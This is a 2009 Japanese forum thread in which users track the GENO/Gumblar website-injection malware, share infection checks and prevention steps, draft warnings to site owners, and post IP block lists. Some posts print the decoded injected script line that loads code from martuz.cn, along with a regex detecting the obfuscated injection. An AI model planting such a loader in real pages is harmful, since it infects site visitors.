GENOウイルススレ - 暇つぶし2ch

GENOウイルススレ at INTERNET

1:192.168.0.774
09/05/16 14:04:24 hzDONx9U0
・sqlsodbc.chmを改変
・cmd.exe、regedit.exeが起動不能
・一部のアンチウイルスソフトが更新不能
・特定サイトにアクセス不能(Windows Update、アンチウイルスソフト関連サイト)
・ネットワークのトラフィックを監視、ユーザー名やパスワード等の情報を収集
・Googleの検索結果を改竄(リンクを弄る)
・explorer.exeや一部のブラウザが異常終了
・Acrobatが勝手に起動
・PDFファイルやシステムファイルが増殖
・CPU、メモリ使用率がUP
・再起動時にBSOD

感染が疑わしい人は迷わずクリーンインストール推奨です。
★Anubisレポート
URLﾘﾝｸ(anubis.iseclab.org)

★GENOウイルスまとめ
URLﾘﾝｸ(www29.atwiki.jp)
★このサイトは諸事情により内容を書き換え
URLﾘﾝｸ(www3.atword.jp)

2:192.168.0.774
09/05/16 14:07:34 EILz2Sb70
感染予防対策

１．Adobe Flash Player の最新版にアップデート
２．Adobe Acrobat Reader の最新版にアップデート
３．NoScriptの導入（Firefoxの導入）
４．Adobe Acrobat Readerの JavaScript 機能OFF
５．危険IPのブロック

諸事情でAdobe Reader 最新版を使わざるを得ない場合
2009年4月29日現在の最新版バージョン9.1設定例

１．Adobe Readerを起動し「編集」メニューの「環境設定」
　　「Acrobat JavaScriptを使用」のチェックボックスをオフ（チェックを外す）
　　OKを押して設定確定後、Adobe Readerを終了。
↓
２．必要と好みに応じて Adobe Reader Speed-Up にてプラグインを整理
　　設定は SpeedUp - Fast がおすすめ。
　　　注意すべきは
　　　Acroform（拡張子なし）
　　　Annotations（拡張子なし）
　　　これら2つのチェックボックスをオン（チェックが入っている）状態にしておく必要がある。
　　　そうしないと Adobe Reader が起動しなかったりする。

　　　このとき追加作業として
　　　EScript.apiとEScript.JPNのチェックボックスをオフ（チェックを外す）状態にしておくと
　　　より安心かもしれない。

以下はお約束
上に書いたことを行えば安全という保証はなく、すべて自己責任でお願いします。
またAdobe Readeｒ以外の環境設定をどうするかも各自考える必要があります。

3:192.168.0.774
09/05/16 14:08:00 EILz2Sb70
以下攻撃されたサイト
小林製薬
URLﾘﾝｸ(www.kobayashi.co.jp)

国内の正規サイト改ざん：攻撃サイトを変え再襲来
URLﾘﾝｸ(www.so-net.ne.jp)

★感染を疑った人の報告
【OS】
【使用セキュリティソフト】
【疑った理由】
【症状】
【確認手段】
【結果】

4:192.168.0.774
09/05/16 14:08:20 EILz2Sb70
現在拡散している Gumblar.cn
zlkonの亜種ですが以下のような特徴を持っています。

インジェクションコードが難解になった
バージョンチェックをユーザ側で行うため、サーバスクリプトの検出を回避している
　※一部のIDSはサーバスクリプトへのクエリを監視しており、クライアント側でやられても判断できない
感染が容易と思われるPC環境をよりピンポイントに判断している（このため、セキュ各社の自動検出が難しくなっている）
感染しない環境には何も返さない（更に検証が難しい）
亜種の「更新」の頻度が異常にすばやく、亜種がほとんどのセキュソフトを潜り抜けているので、シグネーチャ・ベースでの検出が難しい
　※検出率が上がる頃には次の種類になっている

感染の疑いがある場合
XP / 2000 の方は sqlsodbc.chm をチェックしてください。
※sqlsodbc.chmを使わない亜種の存在が確認されていますので、この方法に完全に頼るのは危険かもしれません。
URLﾘﾝｸ(www3.atword.jp)

5:192.168.0.774
09/05/16 14:08:46 EILz2Sb70
【感染の確認方法】
①cmd.exe（コマンドプロント）、regedit.exe（レジストリエディタ）が起動するか確認する
　※このウイルスに感染しているとコマンドプロンプト、レジストリエディタが立ち上がらない。
　■確認方法
　１．スタートから「ファイル名を指定して実行」
　２．「ファイルを指定して実行」という画面が出てくるので、入力欄に
　　　「regedit.exe」と入力して「OK」ボタンを押す。
　　　※立ち上がったことを確認したら弄らず閉じること。
　３．同様に、「cmd.exe」（全部小文字で）と入力して「OK」ボタンを押す
　　　※立ち上がったことを確認したら②へ

②sqlsodbc.chmのファイルサイズの確認を確認する
　■Windows XP:
　　改ざんされていなければ
　　C:\WINDOWS\system32\sqlsodbc.chm　50,727 bytes
　■Windows 2000:
　　そもそも存在しないはずなので、
　　C:\WINDOWS\system32\sqlsodbc.chmが無いことを確認。
　■確認方法
　　１．スタートから「ファイル名を指定して実行」
　　２．「ファイルを指定して実行」という画面が出てくるので、入力欄に
　　「cmd.exe」（全部小文字で）と入力して「OK」ボタンを押す
　　　→背景が黒いウィンドウが開いた場合３へ
　　　→起動しない場合：感染疑い濃厚
　　３．背景が黒いウィンドウを選択。
　　　小文字で「dir C:\WINDOWS\system32\sqlsodbc.chm」と入力してEnterキー

③avast!（無料のアンチウイルスソフト）で確認

6:192.168.0.774
09/05/16 14:09:24 EILz2Sb70
Flash Player はブラウザごとに最新であることを確認してください。
IEで最新でもFirefoxは古いままだったり、その逆もあります。

初心者や質問がある方は
ｽﾚﾘﾝｸ(doujin板)
上記のスレに行くと優しく教えてくれるかもです

Adobe Flash Player バージョンテスト
URLﾘﾝｸ(www.adobe.com)

7:192.168.0.774
09/05/16 14:10:56 hzDONx9U0
改竄されたsqlsodbc.chmは
サイズが1.29 KB (1,323 バイト)
更新日は2009年3月21日

8:192.168.0.774
09/05/16 14:14:11 cmMngAoD0
亜種があるから>>7でないからと言って絶対に白だとはいえないが、
>>7だったら100%黒

9:192.168.0.774
09/05/16 14:14:14 v6iqPVHwP
現行スレ
同人板
【管理も】同人サイト・GENOウィルス注意2【閲覧も】
ｽﾚﾘﾝｸ(doujin板)
セキュリティ板
GENOウイルススレ　★5(実質★6)
ｽﾚﾘﾝｸ(sec板)

10:192.168.0.774
09/05/16 14:16:50 EILz2Sb70
>>1
スレ立て乙でした。
テンプレはこんなものですか

11:192.168.0.774
09/05/16 14:18:10 hzDONx9U0
ageていきましょう

12:192.168.0.774
09/05/16 14:20:02 uAe98uZ60
ん？もう書いてええのん？

13:192.168.0.774
09/05/16 14:31:58 tn4HDAid0
IPブロックの纏めテキストと、PG2での導入方法等も纏めた方がよさげか

14:192.168.0.774
09/05/16 14:37:33 v6iqPVHwP
まとめると

サイトを開く
↓
htmlに書かれたjsコードが実行される
↓
別サイトへジャンプ？ファイル名.exeが実行される＜ここでvistaならUACが出るはず
↓
実行すると感染？C:\WINDOWS\system32\sqlsodbc.chmが上書きされる。<vistaの場合はC:\Windows\Help\mui\sqlsodbc.chm
↓
regedit.exe,cmd.exeが起動しなくなる？特定のサイトへのアクセス不可。
↓
オワタ

こんな感じでいいのかな。
で同人板の奴は感染した状態でFPTのサイトを更新しちゃうとパスワードとか抜かれて不正にサイトが書き換えられてしまう
って事でいいのかな？今北で情報が多くてよくわからん

15:192.168.0.774
09/05/16 14:38:39 ayXPZTg40
ｽﾚﾘﾝｸ(poverty板)
これは既出？もう用無し？

16:192.168.0.774
09/05/16 14:47:30 arP7FdRW0
こんなときだからこそ
リンク先の内容も一緒に貼って欲しい

17:192.168.0.774
09/05/16 14:50:03 ayXPZTg40
ごめん。内容はコレ↓

【Genoウィルス総合スレ】ニフティのオンラインウィルスチェックをする→感染

1 ：番組の途中ですがアフィ禁止です：2009/05/15(金) 12:44:31 ID:QP0LhXxzP
ソース　(p)ｽﾚﾘﾝｸ(sec板)
対策と駆除はこちら　(p)URLﾘﾝｸ(www29.atwiki.jp)
Adobe Reader/Flashのアップデートをお忘れ無く　(p)URLﾘﾝｸ(www.adobe.com)
745 名前：名無しさん＠お腹いっぱい。投稿日：2009/05/15(金) 04:30:27
てかニフティで検索するのに
ニフティ感染してるの？？？？
746 名前：名無しさん＠お腹いっぱい。投稿日：2009/05/15(金) 04:31:09
>>745
（ﾟДﾟ）
何だと・・・？
748 名前：名無しさん＠お腹いっぱい。投稿日：2009/05/15(金) 04:34:45
>>746
前のﾚｽにも出てるけど(p)URLﾘﾝｸ(www3.atword.jp)のｻｲﾄにかいてある
（中略）
ニフティサーブネットワーク(ニフティ株式会社さん
　61.121.100.119
の該当データの停止を行ってください。何度Mail送っても反応無いので・・・・・
749 名前：名無しさん＠お腹いっぱい。投稿日：2009/05/15(金) 04:37:17
>>745
マジかよ
さっきオンラインスキャンやってきたばっかだぞorz
早く寝てしまいたい…
750 名前：名無しさん＠お腹いっぱい。投稿日：2009/05/15(金) 04:38:08
ニフティにアクセスしたらアウトなの？
751 名前：名無しさん＠お腹いっぱい。投稿日：2009/05/15(金) 04:38:45
ニフティのセキュリティ情報サイトさっき見たばかりなんｄ
752 名前：名無しさん＠お腹いっぱい。投稿日：2009/05/15(金) 04:39:44
マジでヤバイなこれｗ
753 名前：名無しさん＠お腹いっぱい。投稿日：2009/05/15(金) 04:39:58
ニフティ今朝アクセスしたばっかり・・・。うｗぁああああああああああああああ

18:192.168.0.774
09/05/16 14:51:25 ayXPZTg40
あー・・もうなんかグダグダorz許して

19:192.168.0.774
09/05/16 14:53:44 gMiU0OeL0
勘違いする人が増えるような貼りかた止めろ
それ@niftyがホストしてるサイトの一部にってことだろ

20:192.168.0.774
09/05/16 14:55:51 ayXPZTg40
そうなのか。騒いでごめんなさい

21:192.168.0.774
09/05/16 15:12:09 v6iqPVHwP
フィルター始めて作ってみたけどどうだろ。
name
test
match
(function([^>]++){var\s[^>]++='%';var\s[^>]++.replace([^>]+);eval(unescape([)]+))})(/,/g);
replace
</script>

■ 感染していると思われるウイルスの情報

下記のサイトの情報にあるマルウェアによるものと思われます。
これは、Web閲覧で知らぬうちに導入されてしまうものです。
URLﾘﾝｸ(www.so-net.ne.jp)
URLﾘﾝｸ(www.so-net.ne.jp)
URLﾘﾝｸ(www.kobayashi.co.jp)
URLﾘﾝｸ(www29.atwiki.jp)
（↓はちょっと専門的な解説です）
URLﾘﾝｸ(ilion.blog.shinobi.jp)
URLﾘﾝｸ(www.itmedia.co.jp)

このマルウェアに感染したPCで、FTP接続しファイルを更新すると、動作中の
マルウェアが、感染サイトを呼び出すスクリプトを勝手に挿入してしまうため、
現在の状況になっているものと思われます。

PC内のアップロード前のファイルには、現在でも危険なコードは含まれて
いない筈ですので、PC復旧作業に入る前に、なんらかのメディアに
バックアップをとっておくと良いでしょう。

■ 解決方法について

駆除方法
URLﾘﾝｸ(www29.atwiki.jp)

一度感染してしまうと、PC稼動状態で除去するのは困難ですので、必要なデータを
バックアップした後で、PCリカバリもしくはOS再インストールを行なって、
安全な環境にしてください。（IDとかパスワードのメモやブックマークも
忘れずにバックアップを）

OS再インストール（またはPCリカバリ）の後、WindowsUpdateを全て当てて、
セキュリティソフトを導入し、パターンを最新にした上で、各種アプリの
インストールや、バックアップしたデータの書き戻しを行なってください。

安全なPCから、不正なスクリプトを含まないhtmファイルをアップロードすることで
HPは正常な状態に戻ると思われます。

ftpパスワードやID、その他のSNSのパスワードなども、盗みだされている可能性が
ありますので、安全なPCから、自分の使用している（４月以降にログイン動作を
行なった可能性のある）パスワードを全て変更しておいたほうがいいかもしれません。

112:192.168.0.774
09/05/17 13:18:24 ilxyL7Fy0
（以下を付けるかどうかはお好みで）

■再発防止策

WindowsUpdate、Adobe Acrobat Reader、Adobe Flash Playerの積極的なアップデートに
加えて、既知の危険サイト(今回の場合は、URLﾘﾝｸ(www29.atwiki.jp)の焼却リスト参照)を
ブロックするよう、セキュリティソフトのＦＷを適切に設定したり、PG2といったソフトで
ブロックすることしかないと思います。

感染してしまったことは、新型の危険ファイル配布方法の為、仕方ない面もありますが、
再発防止と、閲覧者に対する告知によって、被害の拡大を食い止めて頂きたいと思います。

■私見による蛇足

小林製薬の告知ページ等では、幾つかのセキュリティソフトベンダーを紹介して
おりますが、実際に稼動する本体は、ほとんど日替わりのように入れ替えられて
いる為に、紹介されているセキュリティソフトにて「除去が行なえるとは言い
切れません」。
URLﾘﾝｸ(www.kobayashi.co.jp)

また、感染ファイルの除去を行なっても、Windowsの一部ファイルを変更して
しまっている為、原状復帰には至りませんので、閲覧者向けに告知される場合は、
セキュリティソフトベンダーのソフトでで駆除できる可能性もありますが
PCのリカバリを推奨するのが良いのではないかと思われます。

以上、要件のみにて失礼致します。
--
○○○○(自分の名前) <自分の連絡先メールアドレス>

113:192.168.0.774
09/05/17 13:19:27 ilxyL7Fy0
>>109,>111-112

昨日、みかけた範囲の感染サイト管理者に送ったメールのコピペ。
テンプレの叩き台にでもどうぞ。

114:192.168.0.774
09/05/17 13:19:43 mJUiMCyk0
>>90
>>100
ｽﾚﾘﾝｸ(sec板:907番)

長くなっちったから
ぬっちしたアドレスだけ置いとく　ありがとう

115:192.168.0.774
09/05/17 13:19:59 AvccT1I50
ID:ilxyL7Fy0さん乙です

116:192.168.0.774
09/05/17 13:20:16 Sggs+C2i0
>>112
最初に小林製薬が感染したと同じウィルスと入れた方がインパクトがあるように思いますが

117:192.168.0.774
09/05/17 13:21:09 6zykGUMd0
>>109
文才ありますねー、それで送ってください

118:192.168.0.774
09/05/17 13:21:44 GRfaSwDkP
>>116
製薬会社がウィルスに感染したとかとんでもないしな

119:192.168.0.774
09/05/17 13:22:42 T9pTie3x0
>>113
いやー管理者っつっても名前だけで外に製作任せてるかもしれんしな
まずは読ませる事を考えて、実例と顧客に被害が及ぶ事を説明して
信憑性あるサイトでも貼り付けて対応はよくわかる人に任せた方がいいんじゃない
何通もそんなの着ても速攻でゴミ箱いきな予感

120:192.168.0.774
09/05/17 13:24:51 2KRNOGSH0
>>107
最近、いろいろな国内企業の公式サイトが　悪意の攻撃者に改竄されているのはご存知でしょうか？
先日も小林製薬のサイトも改竄されて、サイトを閲覧した一般のお客さんにウィルスが感染しました。
じつは・・・

みたいな切り出しでよいのでは？
対策法とかは、もしかしたら、その担当者がセキュリティーベンダーに相談するような方向の方が良いかもしれない。
尋ねられたら、知っている範囲で答えてあげればいいし。

それだと、イタズラに思われるかな？

121:192.168.0.774
09/05/17 13:25:33 5zpzhS0v0
>>120
なんかスパムメールみたいに見えるなぁ
どうしたもんかね

122:192.168.0.774
09/05/17 13:26:25 7TaPV4fL0
まさか、人に文を読ませるために考えることになるとは思わなかったなｗ

123:192.168.0.774
09/05/17 13:27:17 T9pTie3x0
アフェリみたいでうさんくさいｗｗｗごめん(´･ω･`)
ちょっとスレから離れます。適当にがんがれｗ
俺は>>120路線でso-net張ってやって、
誰かに相談してねって方向が良いと思う
url貼っちゃうと感染してないＰＣで踏んじゃうかもね

124:192.168.0.774
09/05/17 13:27:52 ytTR6LEA0
新たな「Webウイルス」が猛威、感染被害が急増：ITpro
URLﾘﾝｸ(itpro.nikkeibp.co.jp)

正規サイトに感染広がる：新手のWebベースマルウェアが急拡大 - ITmedia エンタープライズ
URLﾘﾝｸ(www.itmedia.co.jp)

セキュリティ通信｜セキュリティ関連ニュース　バックナンバー　
正規サイト改ざん(2)　薬事日報社が調査結果公表?改ざんの手口が明らかに
URLﾘﾝｸ(www.so-net.ne.jp)

セキュリティ通信｜セキュリティ関連ニュース　バックナンバー　
正規サイト改ざん(3)　ウイルスに感染しないための対策
URLﾘﾝｸ(www.so-net.ne.jp)

もし、メールを送るのなら、これもつけておくと吉かも。

125:192.168.0.774
09/05/17 13:27:59 rsI8zkAT0
>>121
スパム吹いた
もうそんな風にしかみえなくなったじゃないかｗ

126:192.168.0.774
09/05/17 13:29:09 77O8s7yk0
今までの流れをみてると、各自が自分でちゃんと対策するのに任せるしかないって気がするけどな。

127:192.168.0.774
09/05/17 13:29:42 0CtfCDPI0
>>111
unescape()して出てくるサイトの一覧ってどこにあるの？まとめサイト？
　
成美堂出版の改竄部分をunescape()したら martuz.cn が出たけど
　<script src=//mar"+"tuz.cn/vid/?id="+j+"><\/script>
　
src=// なんて表記でちゃんとアクセスできるのかな？ http: の部分を抜くのは何なんだ？？

128:192.168.0.774
09/05/17 13:31:22 fQ7GRX9bO
>>121
典型的なスパム文だわな
初めに誰もが知ってる大手の名前を出して注意をひくところが

難しいねぇ

129:192.168.0.774
09/05/17 13:32:13 T9pTie3x0
御社のＨＰを拝見した所、ウイルスを検出しました。
ＨＰが改変されています。

これは、現在流行っているウイルスの一種で、
ＨＰを見るだけで感染してしまい、被害を拡大する恐れがあります。
こちらのso-netのリンクに詳細が書かれているので参考にしてください。
ｓｏ－ｎｅｔのURL
ご対応の程、宜しくお願い申し上げます。

尚、ウイルスに関して現在判明している情報は以下の通りです。
まとめのＵＲＬか、セキュベンダーのＵＲＬ

↑こんなんでどうでしょ

130:192.168.0.774
09/05/17 13:34:14 Sggs+C2i0
正規のプロバイダメールで出せばどうなのかな？
ヘッダを見たらスパムメールじゃない事が分かるし

131:192.168.0.774
09/05/17 13:35:58 77O8s7yk0
名前だしただけで信頼されるような大手が複数でこの問題を扱ってるのを示せるわけじゃないからなあ。
現状で個人ができることなんてたかが知れてるし、変なやる気出してマルチポストしまくるのはかえって問題だ。
ちゃんと説明できるやつが家族や友人の面倒みるくらいで十分じゃないか。
企業の面倒まで見切れない。

132:192.168.0.774
09/05/17 13:36:03 CRVJI+EQ0
一般人っぽく簡潔に書くのがいいんだろうな。やっぱり

133:192.168.0.774
09/05/17 13:36:15 T9pTie3x0
店舗のメアドに送るならヘッダすら見ないと思うし
製作した会社とか鯖缶宛てなら詳しい事書かないでも
まとめ見りゃわかるでしょ。一般的に見たら解らないものは拒否だから。

134:192.168.0.774
09/05/17 13:36:20 ilxyL7Fy0
わたしの主人がオオアリクイに～(以下略) みたいなタイトルで送るとか。（余計にスパムだなｗ）

ま、冗談はさておき

１．ＨＰ管理者は気付いてすらいないのが殆どなので、読んでもらう必要がある
２．放置すると、ウイルス感染の二次被害の加害者になる危険があることを説明
３．よくわからないコードであるところの危険部分がどこだか指摘
　　（どの箇所に挿入されるか書いておくだけでいいかも？）
４．対処方法の説明。
　　まずはPCリカバリかOS再インストール→ftpパスワードを変更する→Webサーバーの中身を空にする
　　→感染していないファイルを再ＵＰ　の順番で行なうように説明
５．参考情報として、該当ウイルスの情報や対策についてのまとめリンクをつけておく
　　（これを前に持ってくるか後に持ってくるかはどっちがいいんだろう？）
６．おまけとして念のために予防策の説明（は、押し付けがましいのでなくてもいいかも）

135:192.168.0.774
09/05/17 13:36:50 uL9xj+2n0
>>129
非常勤の親父「また迷惑メールか削除削除・・・」

136:192.168.0.774
09/05/17 13:36:57 K2sBx0VP0
上で誰かが書いてたか、お客さんを装った平易な文章のほうがいい気がする

「お宅のホームページ見てたらアンチウイルスソフトが警告を出したので、調べてみたら
ウイルスコードがしかけられているようでした。
（so-netURL）と同じものと思われます。
ホームページを見るだけで、お客のパソコンが感染する危険なウイルスです。
どうか今すぐ対策をとってください
（対策サイトURL）」

とかなんとか

137:192.168.0.774
09/05/17 13:37:27 Um/4qeYR0
【速報】虹裏感染の疑い

138:192.168.0.774
09/05/17 13:37:57 T9pTie3x0
>>135
あるなｗｗｗ
ここまで簡単に書いてもそれなら
もうそれはしょうがないよ
ＧＥＮＯの担当者は結局無反応だったよね？

139:192.168.0.774
09/05/17 13:38:09 mJUiMCyk0
複数名から違う文章で送れば　対応してくれんかなあ

140:192.168.0.774
09/05/17 13:39:11 ilxyL7Fy0
７．閲覧者への事後報告と、感染の可能性の疑われる場合は、使用中のセキュリティソフトベンダーに
　　相談するように告知して欲しい、隠蔽されてしまうと、被害が拡大し、最終的にはその企業の信用が
　　落ちてしまう。…ということも伝えたいがどうしたもんか。

141:192.168.0.774
09/05/17 13:39:34 77O8s7yk0
メールちゃんと読んでくれるような管理者ならすでに問題を知っていて対策してるだろ。
2chのまとめだってどこまで信頼してもらえるか微妙だし、こちらの所属を明らかにして送るんでもなければスパム扱いで終わりだ。

142:192.168.0.774
09/05/17 13:39:58 T9pTie3x0
>>139
なんだ急に変なメール増えたな・・・削除削除(´･ω･)

レン鯖に連絡した方がいいんじゃね？

まぁ一軒潰した所で（ｒｙ

143:192.168.0.774
09/05/17 13:41:26 ilxyL7Fy0
HP管理者ではなく、そのIPを管理している業者（whoisで調べる）のabuse窓口に送って、
ISPもしくは、レンタルサーバー管理会社を経由して警告して貰うという手法もあるね。

144:192.168.0.774
09/05/17 13:43:33 um/XFnMU0
もうこれぐらい挑発的なので良いんじゃないか？
これ送って反応無ければ、たまたま見つけた人っぽく上のメール送ってやる感じで

貴社のホームページがGENOウィルスに感染し、現在加害者になっています。
数日中に貴社ホームページよりウィルスコードの除去がなされていない場合、
京都府警察ハイテク犯罪対策室へ連絡させていただきます。

p.s. 対策に関してはググレ
　　管理できないホームページなら閉鎖しろ糞管理人

145:192.168.0.774
09/05/17 13:44:37 T9pTie3x0
てめーこのやろー
ページ開いたらパソコンばっ壊れたじゃねーか
さっさとHP直しやがれ誠意ってなんですかねぃおおぅ？！

146:192.168.0.774
09/05/17 13:48:45 mJUiMCyk0
replica08■web■fc2■com/index■html

感染

147:192.168.0.774
09/05/17 13:49:06 +iVGXmeP0
・Adobe Flash Playerを更新
バージョンの確認最新：10.0.22.87
URLﾘﾝｸ(www.adobe.com)
ダウンロード
URLﾘﾝｸ(get.adobe.com)

・(入れてる人は)Adobe Readerを9.1.1に更新し、Javascriptの実行を制限する
ダウンロード 9.1
URLﾘﾝｸ(get.adobe.com)
ダウンロード後、[ヘルプ]→[アップデートの有無をチェック]することで9.1.1にし、

[編集]→[環境設定]→＜JavaScript＞→＜Acrobat JavaScriptを使用＞のチェックを外し、[OK]

(´・ω・｀)らんらん♪

148:192.168.0.774
09/05/17 13:49:47 T9pTie3x0
感染ってどうやって見つけてるの？

149:192.168.0.774
09/05/17 13:51:26 yMbOeyMJ0
>>147
(´・ω・｀)らん豚帰れよ

150:192.168.0.774
09/05/17 13:54:23 RrqXiVyA0
avastとバスター2009の同居ってやっぱだめ？

151:192.168.0.774
09/05/17 13:55:57 iagHZf1s0
すまん、流れ読まずに投下
gnome氏のzlkon/gumblarサイトを参考に作ったんで防止策の一つとして貼っておく
・サーバがちょくちょく変わる性質なので今後の動向に注意
・一番上のmartuz.cnはNEW
・行頭の"HiPr-"はgnome氏が緊急(High Priority)と書いてるもの
・言うまでもないが、IP範囲最終決定とか使用は自己責任で

HiPr-NEW martuz.cn - 2009.05.16 (95.129.144.0/23) :95.129.144.0-95.129.145.255
HiPr- Botnet C&C by Gumblar - 2009.05.09 (78.109.16.0/20) :78.109.16.0-78.109.31.255
HiPr- gumblar relative 2009.05.07 (213.182.192.0/19) :213.182.192.0-213.182.223.255
HiPr- gumblar - 2009.05.02 (94.229.64.0/20) :94.229.64.0-94.229.79.255
Trojan Exploits (Regarding ZeuS) -- 2009.05.14 (206.44.0.0/16) :206.44.0.0-206.44.255.255
Malware Injection 2009.05.06 (91.211.64.0/23) :91.211.64.0-91.211.65.255
basesrv3.net - 2009.05.03 (91.212.41.0/24) :91.212.41.0-91.212.41.255
Malware Injection 2009.05.06 (91.212.65.0/24) :91.212.65.0-91.212.65.255
Trojan Exploits (Regarding ZeuS) -- 2009.05.14 (85.17.0.0/16) :85.17.0.0-85.17.255.255
autobestwestern.cn - 2009.05.13 (85.214.90.0/24) :85.214.90.0-85.214.90.255
gumblar via e-mail - 2009.05.12 (74.220.215.0/24) :74.220.215.0-74.220.215.255
zlkon another-type 2009.05.03 (212.117.160.0/19) :212.117.160.0-212.117.191.255
zlkon.lv -- 2009.04.05 (94.247.2.0/23) :94.247.2.0-94.247.3.255

152:192.168.0.774
09/05/17 13:57:46 77O8s7yk0
一般に、機能の衝突するセキュリティソフトを複数導入するのは推奨されない。

153:192.168.0.774
09/05/17 13:58:36 RrqXiVyA0
>>152
だよね
バスター常時待機でときたまavastで検索って感じがいいかな？

154:192.168.0.774
09/05/17 14:00:18 0CtfCDPI0
成美堂出版　→ martuz.cn
<script src=//mar"+"tuz.cn/vid/?id="+j+"><\/script>

replica08■web■fc2■com　→ martuz.cn
<script src=//m"+"artuz.cn/vid/?id="+j+"><\/script>

意外と飛び先は少ないのかもしれん　リストが無いならつくるかねぇ

155:192.168.0.774
09/05/17 14:00:38 2KRNOGSH0
俺スパマーになれんのか？あっはは。

>>146のIP　208.71.106.38

>>147
Adobe Readerってバージョン違いで共存できたっけ？
テンプレ的には　Ver1～Ver8とか使っている人は削除して　ってのを途中に入れたほうがいいかもしれない。

しかし、IPA↓　110番を語るには休みすぎ。

コンピュータウイルスの相談窓口としてコンピュータウイルス110番の電話を設けております。
届出の方法等、コンピュータウイルスに関連のあることは何でもご相談下さい。　
受付時間：平日10:00～12:00、13:30～17:00

>>151
参考にさせてもらいます。

次ページ